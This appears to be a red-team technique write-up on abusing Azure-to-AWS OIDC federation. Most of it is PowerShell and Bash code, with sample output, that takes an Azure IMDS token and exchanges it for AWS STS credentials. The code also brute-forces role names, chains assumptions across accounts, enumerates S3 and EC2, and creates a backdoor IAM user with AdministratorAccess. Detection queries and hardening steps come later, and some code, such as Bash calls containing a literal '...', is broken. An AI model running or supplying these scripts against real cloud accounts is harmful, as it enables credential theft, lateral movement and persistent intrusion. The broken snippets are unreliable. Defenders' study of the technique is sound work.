| Attribute | Details |
|---|---|
| Technique ID | CA-TOKEN-019 |
| MITRE ATT&CK v18.1 | Steal Application Access Token (T1528) |
| Tactic | Credential Access / Lateral Movement |
| Platforms | Cross-Cloud (Azure to AWS) |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-08 |
| Affected Versions | Azure (all versions), AWS STS (all versions), OIDC federation (all versions) |
| Patched In | Mitigation via strict role trust policies and ExternalID enforcement |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 4 (Environmental Reconnaissance) and 6 (Atomic Red Team) not included because: (1) Reconnaissance is implicit in execution methods; (2) No standalone Atomic test exists for AWS STS exploitation via Azure federation. All section numbers have been dynamically renumbered based on applicability.
Concept: AWS STS token abuse via Azure exploits the trust relationship between Azure managed identities (or Entra ID application registrations) and AWS IAM roles configured to accept OIDC federation. An attacker who compromises an Azure resource (VM, Function, App Service) or an Entra ID application registration can use the Azure OIDC token to request temporary AWS credentials via the AWS Security Token Service (STS) AssumeRoleWithWebIdentity API. If the AWS role trust policy is misconfigured (missing ExternalID, overly permissive conditions, or no condition restrictions), the attacker can assume AWS roles across accounts, escalate privileges, and access sensitive AWS resources without ever needing AWS credentials directly.
Attack Surface:
Business Impact: Complete compromise of AWS accounts and resources via Azure federation. An attacker with a compromised Azure resource can:
Technical Context: AWS STS token abuse via Azure typically occurs after compromising an Azure resource with a managed identity or exploiting misconfigured Entra ID app registrations. The attack is extremely fast—token exchange takes milliseconds—and has very low detection likelihood because AWS sees legitimate-looking STS API calls from a valid OIDC provider. Reversibility is extremely difficult; once an AWS role trust policy is misconfigured, attackers have persistent cross-cloud access until the trust relationship is reconfigured and tokens are invalidated.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 1.1, 1.12 | Ensure IAM policies and cross-account roles are least privilege; audit root account usage |
| DISA STIG | AC-2, AC-5 | Account management and access control for privileged accounts |
| CISA SCuBA | CR.AM-1 | Asset management of cloud accounts and trust relationships |
| NIST 800-53 | AC-3, AC-5, SC-7 | Access control; separation of duties; boundary protection for federated access |
| GDPR | Art. 32 | Security of processing; protect cross-border data transfer controls |
| DORA | Art. 9 | Protection and prevention of identity-based cross-cloud attacks |
| NIS2 | Art. 21 | Cyber Risk Management; incident response for cross-cloud incidents |
| ISO 27001 | A.9.1.1, A.9.2.3 | Authentication; privileged access management across trust boundaries |
| ISO 27005 | Risk Scenario: “Unauthorized Cross-Cloud Access” | Lateral movement across cloud boundaries |
Required Privileges:
AssumeAWSRole application role or sufficient Entra ID app permissionsRequired Access:
sts.amazonaws.com) from Azure resourceSupported Versions:
Tools:
Supported Versions: Azure VMs/Functions with managed identities, AWS STS (all versions)
Objective: Extract OIDC-compliant JWT token from Azure Instance Metadata Service.
Command (PowerShell on Azure VM):
# Query Azure IMDS for OIDC token (format compatible with AWS STS)
$tokenEndpoint = "http://169.254.169.254/metadata/identity/oauth2/token"
# AWS expects OIDC token from trusted provider
# Use resource parameter to get correct token format
$params = @{
Uri = "$tokenEndpoint?api-version=2018-02-01&resource=https://iam.amazonaws.com/&client_id=<OPTIONAL_MANAGED_IDENTITY_CLIENT_ID>"
Headers = @{ "Metadata" = "true" }
Method = "Get"
}
try {
$response = Invoke-WebRequest @params -UseBasicParsing
$oidcToken = ($response.Content | ConvertFrom-Json).access_token
Write-Host "[+] Successfully obtained Azure OIDC token" -ForegroundColor Green
Write-Host "[+] Token (truncated): $($oidcToken.Substring(0, 50))..." -ForegroundColor Yellow
$env:AZURE_OIDC_TOKEN = $oidcToken
}
catch {
Write-Host "[-] Failed to obtain OIDC token: $_" -ForegroundColor Red
}
Command (Bash on Azure VM):
# Query Azure IMDS for OIDC token
OIDC_ENDPOINT="http://169.254.169.254/metadata/identity/oauth2/token"
OIDC_TOKEN=$(curl -s -H "Metadata:true" \
"$OIDC_ENDPOINT?api-version=2018-02-01&resource=https://iam.amazonaws.com/" | jq -r '.access_token')
if [ ! -z "$OIDC_TOKEN" ]; then
echo "[+] Successfully obtained Azure OIDC token"
echo "[+] Token (first 50 chars): ${OIDC_TOKEN:0:50}..."
export AZURE_OIDC_TOKEN=$OIDC_TOKEN
else
echo "[-] Failed to obtain token"
fi
Expected Output:
[+] Successfully obtained Azure OIDC token
[+] Token (truncated): eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ijk...
What This Means:
OpSec & Evasion:
Objective: Enumerate AWS resources to find target role ARN.
Command (PowerShell - Reconnaissance):
# Method 1: Hardcoded role ARN (attacker knows from previous recon, source code, or config)
$targetRoleArn = "arn:aws:iam::111111111111:role/CrossAccountAssumeRole"
# Method 2: Brute-force role names (if account ID is known)
$accountId = "111111111111"
$commonRoles = @(
"CrossAccountAssumeRole",
"AzureToAWSRole",
"AssumeAWSRole",
"ServiceRole",
"AdministratorRole",
"PowerUserRole",
"AdminAccess",
"DeveloperRole",
"ProductionRole"
)
Write-Host "[+] Attempting to discover AWS role..." -ForegroundColor Yellow
foreach ($roleName in $commonRoles) {
$roleArn = "arn:aws:iam::$accountId`:role/$roleName"
Write-Host " Checking: $roleArn" -ForegroundColor Gray
}
# Method 3: Find from Azure resource metadata (if set)
# Check environment variables, config files, or Azure App Configuration
$foundRoleArn = $env:AWS_ROLE_ARN # May be set by Azure application
if ($foundRoleArn) {
Write-Host "[+] Found AWS role ARN from environment: $foundRoleArn" -ForegroundColor Green
}
Expected Output:
[+] Attempting to discover AWS role...
Checking: arn:aws:iam::111111111111:role/CrossAccountAssumeRole
Checking: arn:aws:iam::111111111111:role/AzureToAWSRole
...
[+] Found AWS role ARN from environment: arn:aws:iam::111111111111:role/AzureToAWSRole
What This Means:
arn:aws:iam::ACCOUNT_ID:role/ROLE_NAMEObjective: Call AWS STS to exchange Azure OIDC token for temporary AWS credentials.
Command (PowerShell):
# Prepare for STS token exchange
$oidcToken = $env:AZURE_OIDC_TOKEN
$roleArn = "arn:aws:iam::111111111111:role/AzureToAWSRole"
$sessionName = "AzureToAWSSession"
# AWS STS endpoint for AssumeRoleWithWebIdentity
$stsEndpoint = "https://sts.amazonaws.com/"
# Build STS request using AWS Signature V4 or direct HTTPS
# Direct method (no credentials needed for AssumeRoleWithWebIdentity if role trust policy allows)
$stsParams = @{
Action = "AssumeRoleWithWebIdentity"
RoleArn = $roleArn
RoleSessionName = $sessionName
WebIdentityToken = $oidcToken
DurationSeconds = 3600
Version = "2011-06-15"
}
# Build query string
$queryString = ($stsParams.GetEnumerator() | ForEach-Object { "$($_.Key)=$([URI]::EscapeDataString($_.Value))" }) -join "&"
$stsUrl = "$stsEndpoint`?$queryString"
Write-Host "[+] Calling AWS STS AssumeRoleWithWebIdentity..." -ForegroundColor Yellow
try {
$response = Invoke-WebRequest -Uri $stsUrl -UseBasicParsing
$credentials = ([xml]$response.Content).AssumeRoleWithWebIdentityResponse.AssumeRoleWithWebIdentityResult.Credentials
Write-Host "[+] Successfully obtained AWS credentials!" -ForegroundColor Green
Write-Host " Access Key ID: $($credentials.AccessKeyId)" -ForegroundColor Yellow
Write-Host " Secret Access Key: $($credentials.SecretAccessKey.Substring(0, 20))..." -ForegroundColor Yellow
Write-Host " Session Token: $($credentials.SessionToken.Substring(0, 20))..." -ForegroundColor Yellow
Write-Host " Expiration: $($credentials.Expiration)" -ForegroundColor Green
# Store credentials for use
$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
$env:AWS_SESSION_TOKEN = $credentials.SessionToken
}
catch {
Write-Host "[-] STS AssumeRole failed: $_" -ForegroundColor Red
Write-Host " Possible causes:" -ForegroundColor Yellow
Write-Host " - Role trust policy does not allow Azure Entra ID OIDC" -ForegroundColor Yellow
Write-Host " - Missing ExternalID validation" -ForegroundColor Yellow
Write-Host " - OIDC provider not configured in AWS account" -ForegroundColor Yellow
}
Command (Bash using AWS CLI):
# Assume AWS role using Azure OIDC token via AWS CLI
OIDC_TOKEN="${AZURE_OIDC_TOKEN}"
ROLE_ARN="arn:aws:iam::111111111111:role/AzureToAWSRole"
SESSION_NAME="AzureToAWSSession"
# AWS CLI requires proper configuration; here we use AWS STS directly
aws sts assume-role-with-web-identity \
--role-arn "$ROLE_ARN" \
--role-session-name "$SESSION_NAME" \
--web-identity-token "$OIDC_TOKEN" \
--duration-seconds 3600 \
--region us-east-1 2>/dev/null
# Extract credentials from response
if [ $? -eq 0 ]; then
echo "[+] Successfully assumed AWS role"
# Parse credentials from JSON response
AWS_ACCESS_KEY=$(aws sts assume-role-with-web-identity ... | jq -r '.Credentials.AccessKeyId')
AWS_SECRET=$(aws sts assume-role-with-web-identity ... | jq -r '.Credentials.SecretAccessKey')
AWS_TOKEN=$(aws sts assume-role-with-web-identity ... | jq -r '.Credentials.SessionToken')
export AWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY
export AWS_SECRET_ACCESS_KEY=$AWS_SECRET
export AWS_SESSION_TOKEN=$AWS_TOKEN
else
echo "[-] Failed to assume role"
fi
Expected Output:
[+] Successfully obtained AWS credentials!
Access Key ID: ASIAI6EXAMPLEKEY12345
Secret Access Key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY...
Session Token: FwoGZXIvYXdzEG0aDIw/tpuDmjH5Cgl2vyK1AZokVNmz...
Expiration: 2026-01-08T11:30:00Z
What This Means:
Objective: Leverage stolen AWS credentials to exfiltrate data or establish persistence.
Command (PowerShell):
# Set AWS credentials from assumed role
$env:AWS_ACCESS_KEY_ID = "ASIAI6EXAMPLEKEY12345"
$env:AWS_SECRET_ACCESS_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
$env:AWS_SESSION_TOKEN = "FwoGZXIvYXdzEG0aDIw/tpuDmjH5Cgl2vyK1AZokVNmz"
# Query AWS S3 buckets
Write-Host "[+] Querying S3 buckets in target AWS account..." -ForegroundColor Yellow
try {
$s3Uri = "https://s3.amazonaws.com/"
$headers = @{
"Authorization" = "AWS4-HMAC-SHA256 Credential=$env:AWS_ACCESS_KEY_ID/20260108/us-east-1/s3/aws4_request..."
}
# Use AWS CLI for easier access
$output = aws s3 ls --no-verify-ssl 2>&1
Write-Host "[+] S3 Buckets found:" -ForegroundColor Green
Write-Host $output
}
catch {
Write-Host "[-] S3 query failed: $_" -ForegroundColor Red
}
# List EC2 instances
Write-Host "`n[+] Querying EC2 instances..." -ForegroundColor Yellow
try {
$instances = aws ec2 describe-instances --region us-east-1 --query 'Reservations[*].Instances[*].[InstanceId,InstanceType,PublicIpAddress]' --output table
Write-Host "[+] EC2 Instances found:" -ForegroundColor Green
Write-Host $instances
}
catch {
Write-Host "[-] EC2 query failed: $_" -ForegroundColor Red
}
# Create IAM user for persistence
Write-Host "`n[+] Attempting to create IAM user for persistence..." -ForegroundColor Yellow
try {
aws iam create-user --user-name AzureAdminUser --no-verify-ssl 2>&1 | Out-Null
aws iam create-access-key --user-name AzureAdminUser --no-verify-ssl 2>&1 | Out-Null
aws iam attach-user-policy --user-name AzureAdminUser --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --no-verify-ssl
Write-Host "[+] Created backdoor IAM user 'AzureAdminUser' with administrator access" -ForegroundColor Green
}
catch {
Write-Host "[-] IAM user creation failed (may lack permissions): $_" -ForegroundColor Red
}
Command (Bash):
# Set AWS credentials
export AWS_ACCESS_KEY_ID="ASIAI6EXAMPLEKEY12345"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_SESSION_TOKEN="FwoGZXIvYXdzEG0aDIw/tpuDmjH5Cgl2vyK1AZokVNmz"
echo "[+] Querying S3 buckets..."
aws s3 ls
echo "[+] Querying EC2 instances..."
aws ec2 describe-instances --region us-east-1 --query 'Reservations[*].Instances[*].[InstanceId,InstanceType,PublicIpAddress]' --output table
echo "[+] Creating backdoor IAM user..."
aws iam create-user --user-name AzureBackdoorUser
aws iam attach-user-policy --user-name AzureBackdoorUser --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
Expected Output:
[+] S3 Buckets found:
2026-01-08 10:15:23 prod-database-backups
2026-01-08 09:45:12 dev-logs-archive
2026-01-08 08:30:01 customer-data-vault
[+] EC2 Instances found:
INSTANCE ID | INSTANCE TYPE | PUBLIC IP
i-0123456789abcdef0 | t3.large | 10.0.1.42
i-0987654321fedcba0 | m5.xlarge | 10.0.2.15
[+] Created backdoor IAM user 'AzureAdminUser' with administrator access
OpSec & Evasion:
Supported Versions: AWS IAM (all versions)
Objective: Discover AWS roles that lack ExternalID checks, allowing any OIDC token to assume them.
Command (PowerShell - Role Trust Policy Analysis):
# If attacker has access to AWS role definition (via source control or enumeration):
# Examine trust policy for weak conditions
$trustPolicy = @'
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::111111111111:saml-provider/AzureADProvider"
},
"Action": "sts:AssumeRoleWithSAML",
"Condition": {
"StringEquals": {
"SAML:aud": "https://signin.aws.amazon.com/saml"
}
}
},
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::111111111111:oidc-provider/oidc.prod.cloud.ibm.com/id"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"oidc.prod.cloud.ibm.com/id:sub": "*"
}
}
}
]
}
'@
Write-Host "[+] Analyzing AWS role trust policy for weaknesses:" -ForegroundColor Yellow
$policy = $trustPolicy | ConvertFrom-Json
foreach ($statement in $policy.Statement) {
Write-Host "`nStatement for: $($statement.Principal.Federated)" -ForegroundColor Yellow
# Check for missing ExternalID
if (-not $statement.Condition.StringEquals."aws:SourceAccount" -and -not $statement.Condition.StringEquals.ExternalId) {
Write-Host " [!] VULNERABILITY: No ExternalID or SourceAccount condition found" -ForegroundColor Red
Write-Host " Any OIDC token can assume this role!" -ForegroundColor Red
}
# Check for wildcard subjects
if ($statement.Condition.StringEquals."oidc.prod.cloud.ibm.com/id:sub" -eq "*") {
Write-Host " [!] VULNERABILITY: Wildcard subject (*) allows any token issuer" -ForegroundColor Red
}
}
Expected Output:
[+] Analyzing AWS role trust policy for weaknesses:
Statement for: arn:aws:iam::111111111111:oidc-provider/oidc.prod.cloud.ibm.com/id
[!] VULNERABILITY: No ExternalID or SourceAccount condition found
Any OIDC token can assume this role!
[!] VULNERABILITY: Wildcard subject (*) allows any token issuer
What This Means:
Objective: Exploit missing ExternalID to assume the misconfigured role.
Command (PowerShell):
# Use Azure OIDC token even though ExternalID is expected
$oidcToken = $env:AZURE_OIDC_TOKEN
$roleArn = "arn:aws:iam::111111111111:role/MisconfiguredRole"
$sessionName = "ExploitSession"
Write-Host "[+] Attempting to assume role WITHOUT ExternalID..." -ForegroundColor Yellow
try {
# Call AWS STS without ExternalID
$response = aws sts assume-role-with-web-identity `
--role-arn $roleArn `
--role-session-name $sessionName `
--web-identity-token $oidcToken `
--duration-seconds 3600 `
--region us-east-1 2>&1
if ($response -match "AccessDenied") {
Write-Host "[-] AssumeRole denied (role likely has ExternalID)" -ForegroundColor Red
}
else {
Write-Host "[+] Successfully assumed role WITHOUT ExternalID!" -ForegroundColor Green
$credentials = $response | ConvertFrom-Json
Write-Host " Access Key: $($credentials.Credentials.AccessKeyId)" -ForegroundColor Green
}
}
catch {
Write-Host "[-] Error: $_" -ForegroundColor Red
}
Supported Versions: AWS STS (all versions), cross-account role assumption (all versions)
Objective: Use Azure token to assume a delegated cross-account role in AWS.
Command (PowerShell):
# First-level role assumption (Azure to AWS Account A)
$oidcToken = $env:AZURE_OIDC_TOKEN
$primaryRoleArn = "arn:aws:iam::111111111111:role/AzureDelegatedRole"
$primaryCreds = aws sts assume-role-with-web-identity `
--role-arn $primaryRoleArn `
--role-session-name "PrimaryAssumption" `
--web-identity-token $oidcToken `
--duration-seconds 3600 | ConvertFrom-Json
Write-Host "[+] Assumed primary AWS role in Account 111111111111" -ForegroundColor Green
# Export credentials
$env:AWS_ACCESS_KEY_ID = $primaryCreds.Credentials.AccessKeyId
$env:AWS_SECRET_ACCESS_KEY = $primaryCreds.Credentials.SecretAccessKey
$env:AWS_SESSION_TOKEN = $primaryCreds.Credentials.SessionToken
Objective: Chain role assumptions to access resources in different AWS account.
Command (PowerShell):
# Second-level role assumption (Account A → Account B)
# Use credentials from step 1 to assume role in different account
$crossAccountRoleArn = "arn:aws:iam::222222222222:role/CrossAccountAccessRole"
Write-Host "[+] Attempting second-level role assumption (cross-account)..." -ForegroundColor Yellow
try {
$crossAccountCreds = aws sts assume-role `
--role-arn $crossAccountRoleArn `
--role-session-name "CrossAccountSession" `
--duration-seconds 3600 | ConvertFrom-Json
Write-Host "[+] Successfully chained role assumption!" -ForegroundColor Green
Write-Host " Now have access to Account 222222222222" -ForegroundColor Green
# Export new credentials
$env:AWS_ACCESS_KEY_ID = $crossAccountCreds.Credentials.AccessKeyId
$env:AWS_SECRET_ACCESS_KEY = $crossAccountCreds.Credentials.SecretAccessKey
$env:AWS_SESSION_TOKEN = $crossAccountCreds.Credentials.SessionToken
# Can now access resources in Account B
$buckets = aws s3 ls
Write-Host "[+] S3 buckets in Account B:" -ForegroundColor Green
Write-Host $buckets
}
catch {
Write-Host "[-] Cross-account assumption failed: $_" -ForegroundColor Red
}
Version: 2.0+
Supported Platforms: Windows, macOS, Linux
Installation:
# macOS
brew install awscli
# Linux
curl "https://awscli.amazonaws.com/awscliv2.zip" -o "awscliv2.zip" && unzip awscliv2.zip && sudo ./aws/install
# Windows
choco install awscli
Usage for STS Role Assumption:
# Assume role with web identity (OIDC token from Azure)
aws sts assume-role-with-web-identity \
--role-arn arn:aws:iam::ACCOUNT_ID:role/RoleName \
--role-session-name SessionName \
--web-identity-token <AZURE_OIDC_TOKEN> \
--duration-seconds 3600
# Assume secondary role (cross-account chaining)
aws sts assume-role \
--role-arn arn:aws:iam::ACCOUNT_ID:role/RoleName \
--role-session-name SessionName \
--duration-seconds 3600
# Get caller identity
aws sts get-caller-identity
Rule Configuration:
aws_cloudtrailaws:cloudtraileventName, userIdentity.principalId, sourceIPAddress, requestParameters.roleArnSPL Query:
index=aws_cloudtrail eventName=AssumeRoleWithWebIdentity
| search userIdentity.principalId=*oidc-provider*
| where NOT sourceIPAddress IN ("10.0.0.0/8", "172.16.0.0/12")
| stats count by sourceIPAddress, userIdentity.principalId, requestParameters.roleArn, eventTime
| table eventTime, sourceIPAddress, userIdentity.principalId, requestParameters.roleArn, count
What This Detects:
Rule Configuration:
aws_cloudtrailaws:cloudtrailSPL Query:
index=aws_cloudtrail
| search (eventName=AssumeRole OR eventName=AssumeRoleWithWebIdentity) OR (eventName=CreateUser OR eventName=AttachUserPolicy OR eventName=CreateAccessKey)
| transaction userIdentity.principalId maxpause=5m
| where eventCount > 1 AND eventName="AssumeRole*" AND (eventName="CreateUser" OR eventName="AttachUserPolicy")
| table _time, userIdentity.principalId, eventName, requestParameters.roleName, requestParameters.userName
What This Detects:
Rule Configuration:
SigninLogs, AuditLogs (Azure side); integration with AWS CloudTrail dataKQL Query:
// Detect Azure OIDC token generation followed by AWS API calls
let AzureTokenTime = SigninLogs
| where AppDisplayName has "AWS" or ResourceDisplayName has "AWS"
| where TokenIssuerType == "AzureAD"
| project TimeGenerated, UserPrincipalName, IPAddress, ResourceDisplayName, TokenId = AuthenticationDetails;
let AWSActivity = SigninLogs
| where ResourceDisplayName has "AWS"
| where TimeGenerated > ago(1h)
| project TimeGenerated, IPAddress;
AzureTokenTime
| join kind=inner (AWSActivity) on IPAddress
| where TimeGenerated1 < TimeGenerated
| project TokenGenerationTime = TimeGenerated, AWSAccessTime = TimeGenerated1, UserPrincipalName, IPAddress, ResourceDisplayName
Manual Configuration (Azure Portal):
Event ID: 4624 (Logon) + Application-specific OIDC token logs
Manual Configuration:
# Enable Azure connected machine agent logging
# Monitor for IMDS access patterns
Get-WinEvent -FilterHashtable @{LogName="Microsoft-AzureConnectedMachine-Agent/Operational"} -MaxEvents 50 |
Where-Object {$_.Message -like "*token*" -or $_.Message -like "*credential*"} |
Select-Object TimeCreated, Message
Manual Steps (AWS Console):
{
"Condition": {
"StringEquals": {
"sts.amazonaws.com:ExternalId": "UNIQUE_SECRET_VALUE_HERE"
}
}
}
Manual Steps:
{
"Condition": {
"Bool": {
"aws:MultiFactorAuthPresent": "true"
}
}
}
Manual Steps (AWS IAM Console):
Manual Steps:
AdministratorAccess from roles that only need specific permissionsManual Steps:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["s3:GetObject"],
"Resource": "arn:aws:s3:::specific-bucket/*"
}
]
}
Manual Steps:
Manual Steps:
{
"Condition": {
"IpAddress": {
"aws:SourceIp": [
"13.89.0.0/16",
"13.90.0.0/15"
]
}
}
}
# Check role trust policy for ExternalID
aws iam get-role --role-name RoleName | jq '.Role.AssumeRolePolicyDocument'
# Check for MFA condition
aws iam get-role --role-name RoleName | jq '.Role.AssumeRolePolicyDocument.Statement[].Condition'
# List OIDC providers
aws iam list-open-id-connect-providers
AssumeRoleWithWebIdentity from Entra ID OIDC providerAssumeRole immediately after OIDC exchangeeventName:"AssumeRoleWithWebIdentity" AND userIdentity.principalId:*oidc*Immediate (0-1 hour):
Short-term (1-8 hours):
Long-term (8+ hours):
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | IA-PHISH-001 | Phish Azure credentials or compromise Azure VM |
| 2 | Credential Access | CA-TOKEN-018 | Extract Azure OIDC token from IMDS |
| 3 | Current Step | [CA-TOKEN-019] | AWS STS Token Abuse via Azure |
| 4 | Privilege Escalation | Cross-account role assumption | Chain AWS STS calls across multiple accounts |
| 5 | Persistence | IAM user creation with AdministratorAccess | Create backdoor AWS user |
| 6 | Impact | Data exfiltration or cryptomining | Access S3, RDS, or deploy Lambda crypto |